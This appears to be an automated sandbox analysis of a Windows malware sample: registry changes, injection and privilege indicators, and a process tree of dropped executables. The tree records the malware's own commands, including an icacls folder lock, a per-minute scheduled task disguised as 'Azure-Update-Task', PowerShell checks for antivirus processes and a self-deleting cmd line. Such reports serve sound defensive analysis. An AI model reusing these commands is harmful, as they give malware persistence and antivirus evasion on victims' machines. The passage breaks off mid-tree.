Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "3"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616193"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 = d900310000000000e356a06c100054656d7000003a0009000400efbee3563563e356a06c2e000000f3e101000000010000000000000000000000000000003bdb1401540065006d007000000014008b0000002700efbe7d00000031535053b79daeff8d1cff43818c84403aa3732d6100000064000000001f000000270000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e005300650061007200630068005f006300770035006e0031006800320074007800790065007700790000000000000000000000000014000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupView = "4294967295"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "48"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202	Explorer.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\$Extend\$Quota:$Q:$INDEX_ALLOCATION	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 4 IoCs

pid	Process
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
4408	bfe21af9d8655d916db1ddeb7518aeac8c23bea0c7a2e798b354b1d6c54fffb7.exe
4408	bfe21af9d8655d916db1ddeb7518aeac8c23bea0c7a2e798b354b1d6c54fffb7.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
3904	taskmgr.exe
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
3904	taskmgr.exe
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
3904	taskmgr.exe
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2556	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4408	bfe21af9d8655d916db1ddeb7518aeac8c23bea0c7a2e798b354b1d6c54fffb7.exe
3980	juautds

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe
6012	chrome.exe
6012	chrome.exe
6012	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3904	taskmgr.exe
Token: SeSystemProfilePrivilege	3904	taskmgr.exe
Token: SeCreateGlobalPrivilege	3904	taskmgr.exe
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: 33	3904	taskmgr.exe
Token: SeIncBasePriorityPrivilege	3904	taskmgr.exe
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	3924	chrome.exe
Token: SeCreatePagefilePrivilege	3924	chrome.exe
Token: SeShutdownPrivilege	3924	chrome.exe
Token: SeCreatePagefilePrivilege	3924	chrome.exe
Token: SeShutdownPrivilege	3924	chrome.exe
Token: SeCreatePagefilePrivilege	3924	chrome.exe
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	3924	chrome.exe
Token: SeCreatePagefilePrivilege	3924	chrome.exe
Token: SeShutdownPrivilege	3924	chrome.exe
Token: SeCreatePagefilePrivilege	3924	chrome.exe
Token: SeShutdownPrivilege	3924	chrome.exe
Token: SeCreatePagefilePrivilege	3924	chrome.exe
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	3924	chrome.exe
Token: SeCreatePagefilePrivilege	3924	chrome.exe
Token: SeShutdownPrivilege	2556	Explorer.EXE
Token: SeCreatePagefilePrivilege	2556	Explorer.EXE
Token: SeShutdownPrivilege	3924	chrome.exe
Token: SeCreatePagefilePrivilege	3924	chrome.exe
Token: SeShutdownPrivilege	3924	chrome.exe
Token: SeCreatePagefilePrivilege	3924	chrome.exe
Token: SeShutdownPrivilege	2556	Explorer.EXE

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
2556	Explorer.EXE
2556	Explorer.EXE
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe
3924	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
3904	taskmgr.exe
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE
2556	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 3924	2556	Explorer.EXE	92
PID 2556 wrote to memory of 3924	2556	Explorer.EXE	92
PID 3924 wrote to memory of 1328	3924	chrome.exe	94
PID 3924 wrote to memory of 1328	3924	chrome.exe	94
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 3796	3924	chrome.exe	95
PID 3924 wrote to memory of 4364	3924	chrome.exe	96
PID 3924 wrote to memory of 4364	3924	chrome.exe	96
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97
PID 3924 wrote to memory of 3012	3924	chrome.exe	97

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Users\Admin\AppData\Local\Temp\bfe21af9d8655d916db1ddeb7518aeac8c23bea0c7a2e798b354b1d6c54fffb7.exe
  "C:\Users\Admin\AppData\Local\Temp\bfe21af9d8655d916db1ddeb7518aeac8c23bea0c7a2e798b354b1d6c54fffb7.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4408
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffb3d1f9758,0x7ffb3d1f9768,0x7ffb3d1f9778
    3⤵
    PID:1328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1724 --field-trial-handle=1972,i,11688237213902451482,5984501209184716078,131072 /prefetch:2
    3⤵
    PID:3796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1972,i,11688237213902451482,5984501209184716078,131072 /prefetch:8
    3⤵
    PID:4364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2272 --field-trial-handle=1972,i,11688237213902451482,5984501209184716078,131072 /prefetch:8
    3⤵
    PID:3012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3248 --field-trial-handle=1972,i,11688237213902451482,5984501209184716078,131072 /prefetch:1
    3⤵
    PID:2252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3280 --field-trial-handle=1972,i,11688237213902451482,5984501209184716078,131072 /prefetch:1
    3⤵
    PID:2808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4504 --field-trial-handle=1972,i,11688237213902451482,5984501209184716078,131072 /prefetch:1
    3⤵
    PID:1444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5168 --field-trial-handle=1972,i,11688237213902451482,5984501209184716078,131072 /prefetch:8
    3⤵
    PID:680
- C:\Users\Admin\AppData\Local\Temp\1066.exe
  C:\Users\Admin\AppData\Local\Temp\1066.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3612
- - C:\Users\Admin\AppData\Local\Temp\1066.exe
    C:\Users\Admin\AppData\Local\Temp\1066.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:5296
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\4b002df8-97e1-450d-ace7-cd5f2062b119" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:1276
  - - C:\Users\Admin\AppData\Local\Temp\1066.exe
      "C:\Users\Admin\AppData\Local\Temp\1066.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:5840
    - - C:\Users\Admin\AppData\Local\Temp\1066.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1066.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Modifies security service
        Executes dropped EXE
        
        PID:5920
      - C:\Users\Admin\AppData\Local\72d73b67-5437-4586-a4c9-3b4b83bcb065\build2.exe
        
        "C:\Users\Admin\AppData\Local\72d73b67-5437-4586-a4c9-3b4b83bcb065\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4816
        
        C:\Users\Admin\AppData\Local\72d73b67-5437-4586-a4c9-3b4b83bcb065\build2.exe
        
        "C:\Users\Admin\AppData\Local\72d73b67-5437-4586-a4c9-3b4b83bcb065\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1888
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 1752
        8⤵
        Program crash
        
        PID:2404
      - C:\Users\Admin\AppData\Local\72d73b67-5437-4586-a4c9-3b4b83bcb065\build3.exe
        
        "C:\Users\Admin\AppData\Local\72d73b67-5437-4586-a4c9-3b4b83bcb065\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3600
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:780
- C:\Users\Admin\AppData\Local\Temp\123C.exe
  C:\Users\Admin\AppData\Local\Temp\123C.exe
  2⤵
  - Executes dropped EXE
  PID:208
- C:\Users\Admin\AppData\Local\Temp\14DD.exe
  C:\Users\Admin\AppData\Local\Temp\14DD.exe
  2⤵
  - Executes dropped EXE
  PID:440
- - C:\Windows\SysWOW64\cmd.exe
    cmd /k cmd < Liz & exit
    3⤵
    PID:5132
  - - C:\Windows\SysWOW64\cmd.exe
      cmd
      4⤵
      PID:5568
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell get-process avastui
        5⤵
        
        PID:4404
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell get-process avgui
        5⤵
        
        PID:5756
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell get-process nswscsvc
        5⤵
        
        PID:5312
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^Bell$" Structures
        5⤵
        
        PID:5944
    - - C:\Users\Admin\AppData\Local\Temp\5745\32346\Navigate.pif
        
        32346\\Navigate.pif 32346\\M
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4024
      - C:\Users\Admin\AppData\Local\Temp\5745\32346\Navigate.pif
        
        C:\Users\Admin\AppData\Local\Temp\5745\32346\Navigate.pif
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2640
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\5745\32346\Navigate.pif" & exit
        7⤵
        
        PID:1312
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:5936
- C:\Users\Admin\AppData\Local\Temp\16C2.exe
